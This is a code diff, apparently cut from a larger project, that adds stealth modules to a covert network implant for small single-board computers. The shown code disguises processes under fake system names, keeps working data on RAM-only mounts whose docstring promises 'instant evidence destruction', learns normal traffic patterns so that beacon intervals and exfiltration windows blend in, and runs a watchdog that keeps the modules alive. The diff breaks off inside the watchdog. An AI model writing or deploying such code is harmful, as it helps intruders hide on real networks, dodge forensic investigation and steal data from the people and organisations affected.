||||
# ------------------------------------------------------------------
|
||||
|
||||
def disguise_pid(self, pid: int, name: str) -> bool:
|
||||
"""Disguise an arbitrary PID with the given fake name.
|
||||
|
||||
Called by tool_manager or other modules to rename external processes.
|
||||
For external processes, we write to /proc/PID/comm (requires root or
|
||||
same user).
|
||||
"""
|
||||
return self._apply_disguise(pid, name)
|
||||
|
||||
def get_fake_name(self, original_name: str) -> str:
|
||||
"""Look up the disguise name for a process. Returns original if no mapping."""
|
||||
return self._name_map.get(original_name, original_name)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_module_started(self, event) -> None:
|
||||
"""Auto-disguise newly started module processes."""
|
||||
payload = event.payload
|
||||
pid = payload.get("pid")
|
||||
module_name = payload.get("module", "")
|
||||
|
||||
if pid and pid != os.getpid():
|
||||
# Python modules get the python3 disguise name
|
||||
fake = self._name_map.get("python3", "systemd-thermald")
|
||||
self._apply_disguise(pid, fake)
|
||||
logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake)
|
||||
|
||||
def _on_tool_restarted(self, event) -> None:
|
||||
"""Re-disguise restarted tool processes."""
|
||||
payload = event.payload
|
||||
pid = payload.get("pid")
|
||||
tool_name = payload.get("tool", "")
|
||||
|
||||
if pid:
|
||||
fake = self._name_map.get(tool_name, tool_name)
|
||||
self._apply_disguise(pid, fake)
|
||||
logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _apply_disguise(self, pid: int, fake_name: str) -> bool:
|
||||
"""Apply a process name disguise to the given PID."""
|
||||
success = False
|
||||
|
||||
if pid == os.getpid():
|
||||
# Own process — use prctl
|
||||
success = rename_process(fake_name)
|
||||
else:
|
||||
# External process — write to /proc/PID/comm
|
||||
try:
|
||||
comm_path = f"/proc/{pid}/comm"
|
||||
with open(comm_path, "w") as f:
|
||||
f.write(fake_name[:15])
|
||||
success = True
|
||||
except (IOError, PermissionError, FileNotFoundError) as exc:
|
||||
logger.debug("Cannot disguise PID %d: %s", pid, exc)
|
||||
|
||||
if success:
|
||||
with self._lock:
|
||||
self._disguised_pids[pid] = fake_name
|
||||
|
||||
return success
|
||||
@@ -0,0 +1,273 @@
|
||||
#!/usr/bin/env python3
|
||||
"""tmpfs manager — RAM-backed mounts for sensitive operations.
|
||||
|
||||
Creates tmpfs mounts for working directories, runtime state, and SQLite WAL
|
||||
files. Power loss = instant evidence destruction since tmpfs is RAM-only.
|
||||
Size limits are tier-aware (OPi Zero 3: 200MB, Pi Zero: 30MB, generic: 512MB).
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Default tmpfs size limits per tier (MB)
|
||||
_TIER_TMPFS_LIMITS = {
|
||||
TIER_OPI_ZERO3: 200,
|
||||
TIER_PI_ZERO: 30,
|
||||
TIER_GENERIC: 512,
|
||||
}
|
||||
|
||||
|
||||
class TmpfsManager(BaseModule):
|
||||
"""Manage tmpfs mounts for RAM-only sensitive storage."""
|
||||
|
||||
name = "tmpfs_manager"
|
||||
module_type = "stealth"
|
||||
priority = -450
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._mounts: Dict[str, dict] = {} # mount_point -> {size_mb, purpose}
|
||||
self._install_path: str = ""
|
||||
self._tier_limit_mb: int = 200
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._install_path = self.config.get("device", {}).get(
|
||||
"install_path", "/opt/.cache/bb"
|
||||
)
|
||||
|
||||
# Determine tier-based tmpfs limit
|
||||
tier = get_hardware_tier()
|
||||
hw_tiers = self.config.get("hardware_tiers", {})
|
||||
tier_cfg = hw_tiers.get(tier, {})
|
||||
self._tier_limit_mb = tier_cfg.get(
|
||||
"overlayfs_mb",
|
||||
_TIER_TMPFS_LIMITS.get(tier, 200),
|
||||
) or _TIER_TMPFS_LIMITS.get(tier, 200)
|
||||
|
||||
# Create and mount tmpfs volumes
|
||||
tmp_path = os.path.join(self._install_path, "tmp")
|
||||
run_path = os.path.join(self._install_path, "run")
|
||||
|
||||
# Split budget: 70% for tmp (working data), 30% for run (runtime state)
|
||||
tmp_size = int(self._tier_limit_mb * 0.7)
|
||||
run_size = int(self._tier_limit_mb * 0.3)
|
||||
|
||||
self._mount_tmpfs(tmp_path, tmp_size, "general tmpfs working directory")
|
||||
self._mount_tmpfs(run_path, run_size, "runtime state")
|
||||
|
||||
# Create standard subdirectories
|
||||
for subdir in ("wal", "work", "modules"):
|
||||
os.makedirs(os.path.join(tmp_path, subdir), exist_ok=True)
|
||||
for subdir in ("pids", "sockets", "locks"):
|
||||
os.makedirs(os.path.join(run_path, subdir), exist_ok=True)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
logger.info(
|
||||
"TmpfsManager active — %d mounts, tier=%s, budget=%dMB",
|
||||
len(self._mounts), tier, self._tier_limit_mb,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Unmount in reverse order (most recently mounted first)
|
||||
for mount_point in reversed(list(self._mounts.keys())):
|
||||
self._unmount_tmpfs(mount_point)
|
||||
|
||||
self._mounts.clear()
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("TmpfsManager stopped — all tmpfs mounts removed")
|
||||
|
||||
def status(self) -> dict:
|
||||
mounts_info = []
|
||||
for mount_point, info in self._mounts.items():
|
||||
entry = {
|
||||
"mount_point": mount_point,
|
||||
"size_mb": info["size_mb"],
|
||||
"purpose": info["purpose"],
|
||||
}
|
||||
# Get current usage
|
||||
try:
|
||||
stat = os.statvfs(mount_point)
|
||||
total = stat.f_blocks * stat.f_frsize
|
||||
free = stat.f_bavail * stat.f_frsize
|
||||
used = total - free
|
||||
entry["used_mb"] = round(used / (1024 * 1024), 1)
|
||||
entry["free_mb"] = round(free / (1024 * 1024), 1)
|
||||
entry["used_pct"] = round((used / total) * 100, 1) if total > 0 else 0
|
||||
except OSError:
|
||||
entry["used_mb"] = 0
|
||||
entry["free_mb"] = 0
|
||||
entry["used_pct"] = 0
|
||||
mounts_info.append(entry)
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"tier_limit_mb": self._tier_limit_mb,
|
||||
"mount_count": len(self._mounts),
|
||||
"mounts": mounts_info,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_tmp_path(self) -> Optional[str]:
|
||||
"""Return the general tmpfs working directory, or None if not mounted."""
|
||||
path = os.path.join(self._install_path, "tmp")
|
||||
return path if path in self._mounts else None
|
||||
|
||||
def get_run_path(self) -> Optional[str]:
|
||||
"""Return the runtime state tmpfs path, or None if not mounted."""
|
||||
path = os.path.join(self._install_path, "run")
|
||||
return path if path in self._mounts else None
|
||||
|
||||
def get_wal_path(self) -> Optional[str]:
|
||||
"""Return the WAL file tmpfs directory for SQLite databases."""
|
||||
tmp = self.get_tmp_path()
|
||||
if tmp:
|
||||
wal_dir = os.path.join(tmp, "wal")
|
||||
return wal_dir if os.path.isdir(wal_dir) else None
|
||||
return None
|
||||
|
||||
def get_module_workdir(self, module_name: str) -> Optional[str]:
|
||||
"""Get or create a per-module working directory on tmpfs."""
|
||||
tmp = self.get_tmp_path()
|
||||
if not tmp:
|
||||
return None
|
||||
workdir = os.path.join(tmp, "modules", module_name)
|
||||
os.makedirs(workdir, exist_ok=True)
|
||||
return workdir
|
||||
|
||||
def symlink_wal(self, db_path: str) -> bool:
|
||||
"""Symlink a SQLite WAL file from its storage location to tmpfs.
|
||||
|
||||
Call this after creating/opening a SQLite database so the WAL file
|
||||
lives in RAM instead of on disk.
|
||||
|
||||
Args:
|
||||
db_path: Path to the .db file (the WAL will be at db_path + '-wal')
|
||||
|
||||
Returns:
|
||||
True if the symlink was created successfully.
|
||||
"""
|
||||
wal_dir = self.get_wal_path()
|
||||
if not wal_dir:
|
||||
return False
|
||||
|
||||
wal_source = db_path + "-wal"
|
||||
db_name = os.path.basename(db_path)
|
||||
wal_target = os.path.join(wal_dir, db_name + "-wal")
|
||||
|
||||
try:
|
||||
# Remove existing WAL if present
|
||||
if os.path.exists(wal_source) and not os.path.islink(wal_source):
|
||||
os.unlink(wal_source)
|
||||
|
||||
# Create symlink: storage/foo.db-wal -> tmpfs/wal/foo.db-wal
|
||||
if not os.path.islink(wal_source):
|
||||
os.symlink(wal_target, wal_source)
|
||||
|
||||
# Also handle the -shm file
|
||||
shm_source = db_path + "-shm"
|
||||
shm_target = os.path.join(wal_dir, db_name + "-shm")
|
||||
if os.path.exists(shm_source) and not os.path.islink(shm_source):
|
||||
os.unlink(shm_source)
|
||||
if not os.path.islink(shm_source):
|
||||
os.symlink(shm_target, shm_source)
|
||||
|
||||
logger.debug("WAL symlinked: %s -> %s", wal_source, wal_target)
|
||||
return True
|
||||
except (IOError, OSError) as exc:
|
||||
logger.warning("Failed to symlink WAL for %s: %s", db_path, exc)
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal mount management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _mount_tmpfs(self, mount_point: str, size_mb: int, purpose: str) -> bool:
|
||||
"""Create a tmpfs mount at the given path."""
|
||||
try:
|
||||
os.makedirs(mount_point, exist_ok=True)
|
||||
|
||||
# Check if already mounted
|
||||
if self._is_mounted(mount_point):
|
||||
logger.debug("Already mounted: %s", mount_point)
|
||||
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
|
||||
return True
|
||||
|
||||
subprocess.run(
|
||||
["mount", "-t", "tmpfs", "-o", f"size={size_mb}m,mode=0700,nodev,nosuid",
|
||||
"tmpfs", mount_point],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
|
||||
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
|
||||
logger.debug("Mounted tmpfs: %s (%dMB) — %s", mount_point, size_mb, purpose)
|
||||
return True
|
||||
except (subprocess.CalledProcessError, OSError) as exc:
|
||||
logger.error("Failed to mount tmpfs at %s: %s", mount_point, exc)
|
||||
return False
|
||||
|
||||
def _unmount_tmpfs(self, mount_point: str) -> bool:
|
||||
"""Unmount a tmpfs mount."""
|
||||
try:
|
||||
if self._is_mounted(mount_point):
|
||||
subprocess.run(
|
||||
["umount", "-l", mount_point], # lazy unmount for safety
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
logger.debug("Unmounted tmpfs: %s", mount_point)
|
||||
|
||||
# Clean up the directory
|
||||
try:
|
||||
os.rmdir(mount_point)
|
||||
except OSError:
|
||||
pass # Directory may not be empty or may not exist
|
||||
|
||||
return True
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.warning("Failed to unmount %s: %s", mount_point, exc)
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _is_mounted(path: str) -> bool:
|
||||
"""Check if a path is a mount point."""
|
||||
try:
|
||||
with open("/proc/mounts", "r") as f:
|
||||
for line in f:
|
||||
fields = line.split()
|
||||
if len(fields) >= 2 and fields[1] == path:
|
||||
return True
|
||||
except IOError:
|
||||
pass
|
||||
return False
|
||||
@@ -0,0 +1,336 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Traffic mimicry module: baseline normal traffic patterns then shape
|
||||
implant communications to match observed characteristics."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import time
|
||||
import threading
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
PHASE_BASELINE = "baseline"
|
||||
PHASE_SHAPING = "shaping"
|
||||
|
||||
# Default baseline storage
|
||||
BASELINE_DIR = "storage/baseline"
|
||||
|
||||
|
||||
class TrafficMimicry(BaseModule):
|
||||
"""Two-phase traffic mimicry: 48h baseline collection then traffic shaping
|
||||
to match observed network patterns."""
|
||||
|
||||
name = "traffic_mimicry"
|
||||
module_type = "stealth"
|
||||
priority = -200
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._phase = PHASE_BASELINE
|
||||
self._baseline_hours = config.get("baseline_hours", 48)
|
||||
self._shape_exfil = config.get("shape_exfil", True)
|
||||
self._match_protocols = config.get("match_protocols", True)
|
||||
self._jitter_pct = config.get("jitter_pct", 15)
|
||||
self._baseline_dir = config.get("baseline_dir", BASELINE_DIR)
|
||||
self._baseline_start: Optional[float] = None
|
||||
self._baseline_data = self._empty_baseline()
|
||||
self._monitor_thread: Optional[threading.Thread] = None
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
Path(self._baseline_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Check if we have a saved baseline
|
||||
saved = self._load_baseline()
|
||||
if saved and self._baseline_complete(saved):
|
||||
self._baseline_data = saved
|
||||
self._phase = PHASE_SHAPING
|
||||
logger.info("TrafficMimicry loaded existing baseline — entering shaping phase")
|
||||
else:
|
||||
self._phase = PHASE_BASELINE
|
||||
self._baseline_start = time.time()
|
||||
logger.info("TrafficMimicry entering baseline phase (%dh)", self._baseline_hours)
|
||||
|
||||
# Subscribe to capture events for baseline data
|
||||
self.bus.subscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
|
||||
|
||||
# Background thread for periodic baseline updates and phase transitions
|
||||
self._monitor_thread = threading.Thread(
|
||||
target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
|
||||
)
|
||||
self._monitor_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
self.bus.unsubscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
|
||||
if self._monitor_thread and self._monitor_thread.is_alive():
|
||||
self._monitor_thread.join(timeout=5.0)
|
||||
# Persist current baseline
|
||||
self._save_baseline()
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("TrafficMimicry stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
completeness = self._baseline_completeness_pct()
|
||||
deviation = self._traffic_deviation_score()
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"phase": self._phase,
|
||||
"baseline_completeness_pct": completeness,
|
||||
"traffic_deviation_score": deviation,
|
||||
"baseline_hours_configured": self._baseline_hours,
|
||||
"baseline_hours_elapsed": self._baseline_hours_elapsed(),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "baseline_hours" in config:
|
||||
self._baseline_hours = config["baseline_hours"]
|
||||
if "shape_exfil" in config:
|
||||
self._shape_exfil = config["shape_exfil"]
|
||||
if "match_protocols" in config:
|
||||
self._match_protocols = config["match_protocols"]
|
||||
if "jitter_pct" in config:
|
||||
self._jitter_pct = config["jitter_pct"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Traffic shaping API (called by other modules)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_recommended_beacon_interval(self) -> float:
|
||||
"""Return a beacon interval (seconds) that matches observed periodic traffic."""
|
||||
with self._lock:
|
||||
intervals = self._baseline_data.get("periodic_intervals", [])
|
||||
if not intervals:
|
||||
return 300.0 # Default 5min if no baseline
|
||||
# Pick the most common periodic interval and add jitter
|
||||
base = random.choice(intervals)
|
||||
jitter = base * (self._jitter_pct / 100.0) * (random.random() * 2 - 1)
|
||||
return max(10.0, base + jitter)
|
||||
|
||||
def get_recommended_exfil_window(self) -> dict:
|
||||
"""Return recommended exfil timing based on baseline upload patterns."""
|
||||
with self._lock:
|
||||
hourly = self._baseline_data.get("hourly_volume", {})
|
||||
if not hourly:
|
||||
return {"hour": 3, "duration_minutes": 15} # Default: 3 AM
|
||||
# Find peak upload hour
|
||||
peak_hour = max(hourly, key=lambda h: hourly[h].get("upload_bytes", 0), default=3)
|
||||
return {
|
||||
"hour": int(peak_hour),
|
||||
"duration_minutes": 30,
|
||||
"max_bytes": hourly.get(str(peak_hour), {}).get("upload_bytes", 1024 * 1024),
|
||||
}
|
||||
|
||||
def should_send_now(self) -> bool:
|
||||
"""Check if current time matches a high-traffic period (safe to send)."""
|
||||
if self._phase == PHASE_BASELINE:
|
||||
return False # Don't shape during baseline
|
||||
with self._lock:
|
||||
hourly = self._baseline_data.get("hourly_volume", {})
|
||||
if not hourly:
|
||||
return True
|
||||
current_hour = str(time.localtime().tm_hour)
|
||||
hour_data = hourly.get(current_hour, {})
|
||||
volume = hour_data.get("total_bytes", 0)
|
||||
avg_volume = sum(
|
||||
h.get("total_bytes", 0) for h in hourly.values()
|
||||
) / max(len(hourly), 1)
|
||||
# Only send when current hour volume is above average
|
||||
return volume >= avg_volume * 0.5
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: baseline collection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _empty_baseline() -> dict:
|
||||
return {
|
||||
"protocol_distribution": {},
|
||||
"hourly_volume": {},
|
||||
"inter_packet_timing": [],
|
||||
"common_dest_ports": {},
|
||||
"tls_versions": {},
|
||||
"periodic_intervals": [],
|
||||
"samples": 0,
|
||||
"start_time": None,
|
||||
"end_time": None,
|
||||
}
|
||||
|
||||
def _on_pcap_event(self, event) -> None:
|
||||
"""Handle PCAP_ROTATED events for baseline data collection."""
|
||||
if self._phase != PHASE_BASELINE:
|
||||
return
|
||||
payload = event.payload
|
||||
with self._lock:
|
||||
self._update_baseline_from_pcap(payload)
|
||||
|
||||
def _update_baseline_from_pcap(self, payload: dict) -> None:
|
||||
"""Extract traffic pattern data from PCAP rotation event payload."""
|
||||
bd = self._baseline_data
|
||||
bd["samples"] += 1
|
||||
if bd["start_time"] is None:
|
||||
bd["start_time"] = time.time()
|
||||
bd["end_time"] = time.time()
|
||||
|
||||
# Protocol distribution from payload stats
|
||||
protocols = payload.get("protocol_stats", {})
|
||||
for proto, count in protocols.items():
|
||||
bd["protocol_distribution"][proto] = (
|
||||
bd["protocol_distribution"].get(proto, 0) + count
|
||||
)
|
||||
|
||||
# Hourly volume
|
||||
hour = str(time.localtime().tm_hour)
|
||||
if hour not in bd["hourly_volume"]:
|
||||
bd["hourly_volume"][hour] = {"total_bytes": 0, "upload_bytes": 0, "packets": 0}
|
||||
bytes_captured = payload.get("bytes_captured", 0)
|
||||
bd["hourly_volume"][hour]["total_bytes"] += bytes_captured
|
||||
bd["hourly_volume"][hour]["upload_bytes"] += payload.get("upload_bytes", 0)
|
||||
bd["hourly_volume"][hour]["packets"] += payload.get("packet_count", 0)
|
||||
|
||||
# Destination ports
|
||||
dest_ports = payload.get("dest_ports", {})
|
||||
for port, count in dest_ports.items():
|
||||
bd["common_dest_ports"][str(port)] = (
|
||||
bd["common_dest_ports"].get(str(port), 0) + count
|
||||
)
|
||||
|
||||
# TLS versions
|
||||
tls = payload.get("tls_versions", {})
|
||||
for ver, count in tls.items():
|
||||
bd["tls_versions"][ver] = bd["tls_versions"].get(ver, 0) + count
|
||||
|
||||
# Periodic intervals (from beacon-like patterns)
|
||||
intervals = payload.get("periodic_intervals", [])
|
||||
bd["periodic_intervals"].extend(intervals)
|
||||
# Keep only the top 50 intervals to bound memory
|
||||
if len(bd["periodic_intervals"]) > 50:
|
||||
bd["periodic_intervals"] = bd["periodic_intervals"][-50:]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: phase management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_loop(self) -> None:
|
||||
"""Background loop: check phase transitions and save baselines."""
|
||||
while self._running:
|
||||
time.sleep(60) # Check every minute
|
||||
try:
|
||||
if self._phase == PHASE_BASELINE:
|
||||
elapsed = self._baseline_hours_elapsed()
|
||||
if elapsed >= self._baseline_hours:
|
||||
self._transition_to_shaping()
|
||||
elif int(elapsed) % 4 == 0:
|
||||
# Save interim baseline every ~4 hours
|
||||
self._save_baseline()
|
||||
except Exception:
|
||||
logger.exception("TrafficMimicry monitor loop error")
|
||||
|
||||
def _transition_to_shaping(self) -> None:
|
||||
"""Switch from baseline collection to traffic shaping."""
|
||||
with self._lock:
|
||||
self._phase = PHASE_SHAPING
|
||||
self._save_baseline()
|
||||
logger.info(
|
||||
"TrafficMimicry: baseline complete (%d samples) — entering shaping phase",
|
||||
self._baseline_data["samples"],
|
||||
)
|
||||
self.bus.emit(
|
||||
"CHANGE_DETECTED",
|
||||
{"module": self.name, "detail": "baseline_complete", "phase": PHASE_SHAPING},
|
||||
source_module=self.name,
|
||||
)
|
||||
|
||||
def _baseline_hours_elapsed(self) -> float:
|
||||
if self._baseline_start is None:
|
||||
return 0.0
|
||||
return (time.time() - self._baseline_start) / 3600.0
|
||||
|
||||
def _baseline_completeness_pct(self) -> float:
|
||||
"""How complete is the baseline (0-100)?"""
|
||||
if self._phase == PHASE_SHAPING:
|
||||
return 100.0
|
||||
elapsed = self._baseline_hours_elapsed()
|
||||
time_pct = min(100.0, (elapsed / self._baseline_hours) * 100)
|
||||
# Also factor in data quality: need protocol and hourly data
|
||||
data_score = 0.0
|
||||
bd = self._baseline_data
|
||||
if bd["protocol_distribution"]:
|
||||
data_score += 25.0
|
||||
if len(bd["hourly_volume"]) >= 12:
|
||||
data_score += 25.0
|
||||
elif bd["hourly_volume"]:
|
||||
data_score += 10.0
|
||||
if bd["common_dest_ports"]:
|
||||
data_score += 25.0
|
||||
if bd["samples"] >= 10:
|
||||
data_score += 25.0
|
||||
return min(100.0, (time_pct * 0.6) + (data_score * 0.4))
|
||||
|
||||
def _baseline_complete(self, data: dict) -> bool:
|
||||
"""Check if a loaded baseline has sufficient data."""
|
||||
return (
|
||||
bool(data.get("protocol_distribution"))
|
||||
and len(data.get("hourly_volume", {})) >= 6
|
||||
and data.get("samples", 0) >= 5
|
||||
)
|
||||
|
||||
def _traffic_deviation_score(self) -> float:
|
||||
"""Score how much current traffic deviates from baseline (0=perfect, 100=no match).
|
||||
Only meaningful during shaping phase."""
|
||||
if self._phase == PHASE_BASELINE:
|
||||
return -1.0 # Not applicable
|
||||
# Placeholder: in production this would compare real-time traffic stats
|
||||
# against the baseline distribution. For now return 0 (no deviation data yet).
|
||||
return 0.0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: persistence
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _save_baseline(self) -> None:
|
||||
"""Persist baseline data to JSON."""
|
||||
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
|
||||
try:
|
||||
with self._lock:
|
||||
data = json.dumps(self._baseline_data, indent=2)
|
||||
with open(path, "w") as f:
|
||||
f.write(data)
|
||||
logger.debug("Baseline saved to %s", path)
|
||||
except Exception:
|
||||
logger.exception("Failed to save baseline")
|
||||
|
||||
def _load_baseline(self) -> Optional[dict]:
|
||||
"""Load baseline from disk if it exists."""
|
||||
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
|
||||
if not os.path.isfile(path):
|
||||
return None
|
||||
try:
|
||||
with open(path, "r") as f:
|
||||
return json.load(f)
|
||||
except Exception:
|
||||
logger.exception("Failed to load baseline from %s", path)
|
||||
return None
|
||||
@@ -0,0 +1,348 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Watchdog module — monitor all SystemMonitor modules and managed tools.
|
||||
|
||||
Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
|
||||
and manages OOM priority assignments. Publishes MODULE_RESTARTED events on
|
||||
successful recovery.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import threading
|
||||
import time
|
||||
from typing import Dict, Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from core.bus import Event
|
||||
from utils.resource import get_process_resources
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# OOM priority assignments by module type
|
||||
_OOM_PRIORITIES = {
|
||||
"core": -500,
|
||||
"stealth": -400,
|
||||
"connectivity": -300,
|
||||
"intel": -200,
|
||||
"passive": 100,
|
||||
"active": 200,
|
||||
}
|
||||
|
||||
MAX_RESTART_ATTEMPTS = 3
|
||||
HEALTH_CHECK_INTERVAL = 30.0 # seconds
|
||||
|
||||
|
||||
class _ModuleEntry:
|
||||
"""Internal tracking for a monitored module."""
|
||||
__slots__ = ("name", "module_type", "pid", "restart_count", "last_check",
|
||||
"last_status", "failed")
|
||||
|
||||
def __init__(self, name: str, module_type: str, pid: int):
|
||||
self.name = name
|
||||
self.module_type = module_type
|
||||
self.pid = pid
|
||||
self.restart_count = 0
|
||||
self.last_check = 0.0
|
||||
self.last_status = "unknown"
|
||||
self.failed = False
|
||||
|
||||
|
||||
class Watchdog(BaseModule):
|
||||
"""Monitor modules and tools, auto-restart on failure, manage OOM priorities."""
|
||||
|
||||
name = "watchdog"
|
||||
module_type = "stealth"
|
||||
priority = -500
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._monitored: Dict[str, _ModuleEntry] = {}
|
||||
self._lock = threading.Lock()
|
||||
self._check_thread: Optional[threading.Thread] = None
|
||||
self._check_interval = HEALTH_CHECK_INTERVAL
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Subscribe to error/crash events
|
||||
self.bus.subscribe(self._on_module_error, event_type="MODULE_ERROR")
|
||||
self.bus.subscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
|
||||
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.subscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
|
||||
|
||||
# Populate initial monitoring list from state manager
|
||||
self._refresh_monitored_list()
|
||||
|
||||
# Start health check loop
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._check_thread = threading.Thread(
|
||||
target=self._health_check_loop, daemon=True, name="sensor-watchdog",
|
||||
)
|
||||
self._check_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("Watchdog active — monitoring %d modules", len(self._monitored))
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_module_error, event_type="MODULE_ERROR")
|
||||
self.bus.unsubscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
|
||||
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.unsubscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
|
||||
|
||||
if self._check_thread and self._check_thread.is_alive():
|
||||
self._check_thread.join(timeout=5.0)
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("Watchdog stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
health_report = []
|
||||
for name, entry in self._monitored.items():
|
||||
health_report.append({
|
||||
"module": entry.name,
|
||||
"module_type": entry.module_type,
|
||||
"pid": entry.pid,
|
||||
"status": entry.last_status,
|
||||
"restarts": entry.restart_count,
|
||||
"last_check": entry.last_check,
|
||||
"failed": entry.failed,
|
||||
})
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"monitored_count": len(self._monitored),
|
||||
"health_report": health_report,
|
||||
"check_interval_s": self._check_interval,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
self._check_interval = config.get("check_interval_s", HEALTH_CHECK_INTERVAL)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_module_started(self, event: Event) -> None:
|
||||
"""Register a newly started module for monitoring."""
|
||||
payload = event.payload
|
||||
name = payload.get("module", "")
|
||||
pid = payload.get("pid")
|
||||
module_type = payload.get("module_type", "passive")
|
||||
|
||||
if name and pid and name != self.name:
|
||||
with self._lock:
|
||||
self._monitored[name] = _ModuleEntry(name, module_type, pid)
|
||||
self._set_oom_priority(pid, module_type)
|
||||
